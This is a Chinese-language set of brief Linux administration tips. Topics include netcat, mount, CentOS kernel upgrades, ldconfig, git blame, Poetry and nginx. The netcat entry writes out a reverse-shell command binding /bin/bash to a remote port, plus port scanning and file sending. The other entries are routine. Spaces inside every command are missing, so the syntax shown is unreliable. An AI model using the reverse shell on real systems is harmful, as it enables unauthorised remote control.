-
掌握netcat需熟悉其五大功能：1、用“nc-vhostport”建立TCP/UDP连接并通信；2、通过“nc-l-pport”监听本地端口接收数据；3、结合重定向实现文件传输，如“nc-l-p9999>file”接收，“catfile|ncip9999”发送；4、使用“nc-z-vipport-range”扫描开放端口，支持TCP/UDP；5、执行“nc-l-p4444”监听并用“ncip4444-e/bin/bash”反弹shell，实现远程控制。
-
mount的作用是将独立的文件系统挂载到Linux根目录树的指定挂载点，使其可访问。它通过VFS层实现不同文件系统的统一管理，使用mount命令可手动挂载设备，配置/etc/fstab可实现开机自动挂载，确保数据安全与系统稳定。
-
CentOS7默认内核长期停留在3.10.x，因官方仓库仅随大版本更新小版本补丁（如3.10.0-1160→3.10.0-1234），不升级主线（3.x→4.x/5.x）；需通过elrepo安装kernel-lt（长期支持版，推荐生产环境）或kernel-ml（主线稳定版），再设grub默认启动项并更新配置，最后验证并清理旧内核。
-
Linux系统抵御恶意软件的核心在于其权限隔离、开源透明及社区支持。保持系统更新、最小化安装、配置防火墙、强化用户权限管理、启用SELinux/AppArmor是关键步骤。此外，使用ClamAV、Lynis、Fail2ban等工具可增强防护。建立全面策略需结合纵深防御、最小权限原则、日志监控、备份恢复及安全培训，形成多层次、持续性的安全体系。
-
最可靠方式是执行uname-m，它直接输出内核识别的机器硬件名，如x86_64或aarch64，不依赖外部工具、不受容器或模拟环境干扰，结果准确且全系统通用。
-
curl是LinuxShell调用RESTAPI最简可行方案，需用-f校验HTTP状态码、jq解析JSON、环境变量管理凭据、设置超时参数确保稳定。
-
basename"$0"在脚本中常失效，因$0未标准化：遇空格不加引号会拆分、软链接返回链接名而非目标名、相对路径不解析；推荐用readlink-f"$0"或realpath"$0"归一化后再basename。
-
使用sudo运行命令时，确保用户属于sudo组，检查sudoers文件配置，并验证权限以避免错误。
-
Linux系统locale未正确配置会导致乱码、日期格式异常及中文识别失败，需依次查看当前设置、安装语言包、生成locale、临时设置会话语言、永久配置系统默认语言。
-
应直接安装Node.jsv22.17.1LTS（Porcelain），优先使用NodeSource官方源；多版本需求用nvm；无root权限时可手动解压二进制包并正确配置PATH与npmprefix。
-
ldconfig-p查看动态链接器缓存中的共享库，反映系统“认得”的库而非实时磁盘扫描；需确保路径写入/etc/ld.so.conf.d/并执行sudoldconfig刷新。
-
gitblame默认不准，因只显示已提交历史、遇merge停止追踪、重命名不识别；需用--ancestry-path、-C-M、-S、--ignore-rev等参数及交叉验证确保作者可信。
-
Poetry默认不激活虚拟环境，所有命令自动使用项目绑定的venv；import报错是因为直接运行python而非poetryrunpython，导致未加载对应环境。
-
必须用default_server是因为Nginx匹配server块时优先精确匹配listen+server_name，未匹配的才按顺序取首个块——该行为不可靠；显式声明default_server才能确保未绑定域名的请求被确定性拦截。
-
ldconfig-p看不到.so文件需先用find确认物理路径，再通过/etc/ld.so.conf.d/添加非标准路径并执行sudoldconfig刷新缓存；LD_LIBRARY_PATH仅作临时调试；ldd报notfound时须用file命令核对程序与.so的架构及ABI兼容性。
